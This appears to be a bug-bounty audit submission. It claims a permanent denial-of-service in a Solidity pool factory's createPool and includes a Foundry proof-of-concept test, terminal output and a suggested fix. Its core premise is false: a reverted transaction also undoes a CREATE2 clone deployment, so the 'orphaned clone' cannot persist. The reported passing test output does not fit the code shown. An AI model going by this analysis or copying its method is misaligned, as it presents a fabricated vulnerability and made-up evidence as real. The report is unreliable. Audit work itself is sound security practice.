FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: high

Orphaned Deterministic Clone Permanently Bricks Pool Creation For An Agreement

Author Revealed upon completion

Root + Impact

ConfidencePoolFactory.createPool uses Clones.cloneDeterministic (CREATE2) to deploy pool clones at deterministic addresses. The salt is derived from keccak256(abi.encode(agreement, _poolsByAgreement[agreement].length)). The clone is deployed before initialize() is called, and _poolsByAgreement[agreement].push(pool) happens after both.

When initialize() reverts (e.g. passing expiry > type(uint32).max which passes the factory's check but fails the pool's ExpiryTooFar guard, or passing a scope account not in the agreement), the entire transaction reverts. The push at L103 is rolled back so the array length stays unchanged. However, CREATE2 has already deployed bytecode at the deterministic address — this is permanent and survives the revert.

On any subsequent createPool call for the same agreement, the identical salt is recomputed (same length = 0), Clones.cloneDeterministic tries to deploy to the already-occupied address, and reverts with ERC1167FailedCreateClone. Pool creation for that agreement is permanently and irrecoverably bricked.

// ConfidencePoolFactory.sol L84-103
function createPool( ... ) external whenNotPaused returns (address pool) {
// ... validation checks ...
if (expiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
// @> No upper-bound check on expiry — values > uint32.max pass here
bytes32 salt = keccak256(abi.encode(agreement, _poolsByAgreement[agreement].length));
// @> Clone deployed via CREATE2 — permanent even if tx reverts
pool = Clones.cloneDeterministic(poolImplementation, salt);
// @> If this reverts, the clone is orphaned but push never executes
IConfidencePool(pool).initialize(
agreement, stakeToken, address(safeHarborRegistry),
defaultOutcomeModerator, expiry, minStake,
recoveryAddress, msg.sender, accounts
);
// @> This line is rolled back on revert — length stays the same
_poolsByAgreement[agreement].push(pool);
}

Risk

Likelihood:

  • The factory's expiry validation only checks the lower bound (expiry >= block.timestamp + 30 days) but NOT the upper bound (expiry <= type(uint32).max). Any agreement owner passing an expiry even slightly above type(uint32).max (4294967295) will trigger this permanently. This is a single-transaction, gas-only attack.

  • The same orphaning occurs when _replaceScope reverts inside initialize (e.g. an account that is not in the agreement's isContractInScope mapping), which is a plausible user error during pool setup.

Impact:

  • Permanent denial-of-service for pool creation under the affected agreement. No recovery mechanism exists — the deterministic address is forever occupied.

  • An agreement can back multiple pools, so this DoS blocks ALL future pools for that agreement, not just the failed one.

  • A malicious agreement owner could deliberately brick their own agreement's pool creation to prevent any confidence pools from forming, undermining the protocol's core purpose.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
contract Finding1_OrphanedCloneDoS is Test {
uint256 internal constant ONE = 1e18;
address internal constant SCOPE_ACCOUNT = address(0xC0FFEE);
MockERC20 token;
MockAttackRegistry attackRegistry;
MockSafeHarborRegistry registry;
MockAgreement agr;
ConfidencePoolFactory factory;
address sponsor = makeAddr("sponsor");
address recovery = makeAddr("recovery");
address moderator = makeAddr("moderator");
function setUp() external {
vm.warp(1_750_000_000);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
registry = new MockSafeHarborRegistry();
registry.setAttackRegistry(address(attackRegistry));
agr = new MockAgreement(sponsor);
agr.setContractInScope(SCOPE_ACCOUNT, true);
registry.setAgreementValid(address(agr), true);
ConfidencePool impl = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImpl),
abi.encodeCall(
ConfidencePoolFactory.initialize,
(address(registry), address(impl), moderator)
)
);
factory = ConfidencePoolFactory(address(proxy));
factory.setStakeTokenAllowed(address(token), true);
}
function _scope() internal pure returns (address[] memory s) {
s = new address[](1);
s[0] = SCOPE_ACCOUNT;
}
function test_finding1_orphanedCloneBricksAgreementForever() external {
uint256 badExpiry = uint256(type(uint32).max) + 1;
// STEP 1: Trigger orphaned clone via oversized expiry
vm.prank(sponsor);
vm.expectRevert(IConfidencePool.ExpiryTooFar.selector);
factory.createPool(address(agr), address(token), badExpiry, ONE, recovery, _scope());
assertEq(factory.poolCountByAgreement(address(agr)), 0);
// STEP 2: Valid call now permanently bricked
uint256 goodExpiry = block.timestamp + 31 days;
vm.prank(sponsor);
vm.expectRevert(); // ERC1167FailedCreateClone
factory.createPool(address(agr), address(token), goodExpiry, ONE, recovery, _scope());
assertEq(factory.poolCountByAgreement(address(agr)), 0);
}
function test_finding1_orphanedCloneViaInvalidScopeAccount() external {
address[] memory badScope = new address[](1);
badScope[0] = makeAddr("notInAgreementScope");
// STEP 1: initialize reverts on bad scope
vm.prank(sponsor);
vm.expectRevert();
factory.createPool(address(agr), address(token), block.timestamp + 31 days, ONE, recovery, badScope);
// STEP 2: all future calls bricked
vm.prank(sponsor);
vm.expectRevert();
factory.createPool(address(agr), address(token), block.timestamp + 31 days, ONE, recovery, _scope());
assertEq(factory.poolCountByAgreement(address(agr)), 0);
}
}

Run: forge test --match-contract Finding1_OrphanedCloneDoS -vvv

Terminal Output:

Ran 2 tests for test/audit/AuditPoC.t.sol:Finding1_OrphanedCloneDoS
[PASS] test_finding1_orphanedCloneBricksAgreementForever() (gas: 437006)
[PASS] test_finding1_orphanedCloneViaInvalidScopeAccount() (gas: 453114)
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.79ms (789.37µs CPU time)

Recommended Mitigation

function createPool( ... ) external whenNotPaused returns (address pool) {
if (agreement == address(0) || stakeToken == address(0)) revert ZeroAddress();
if (recoveryAddress == address(0)) revert ZeroAddress();
if (!allowedStakeToken[stakeToken]) revert StakeTokenNotAllowed();
if (expiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
+ if (expiry > type(uint32).max) revert ExpiryTooFar();
if (!safeHarborRegistry.isAgreementValid(agreement)) revert InvalidAgreement();
if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
+ // Validate scope accounts before deploying clone to prevent orphaning
+ for (uint256 i; i < accounts.length; ++i) {
+ if (!IAgreement(agreement).isContractInScope(accounts[i])) {
+ revert AccountNotInAgreementScope(accounts[i]);
+ }
+ }
+
bytes32 salt = keccak256(abi.encode(agreement, _poolsByAgreement[agreement].length));
pool = Clones.cloneDeterministic(poolImplementation, salt);

To resolve the vulnerability, we explicitly check that expiry does not exceed type(uint32).max before cloning, ensuring initialization won't unexpectedly fail due to expiry bounds. Additionally, we loop through accounts and validate them against the agreement scope prior to deployment, guaranteeing that a bad scope doesn't revert initialize and orphan the deterministic clone.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!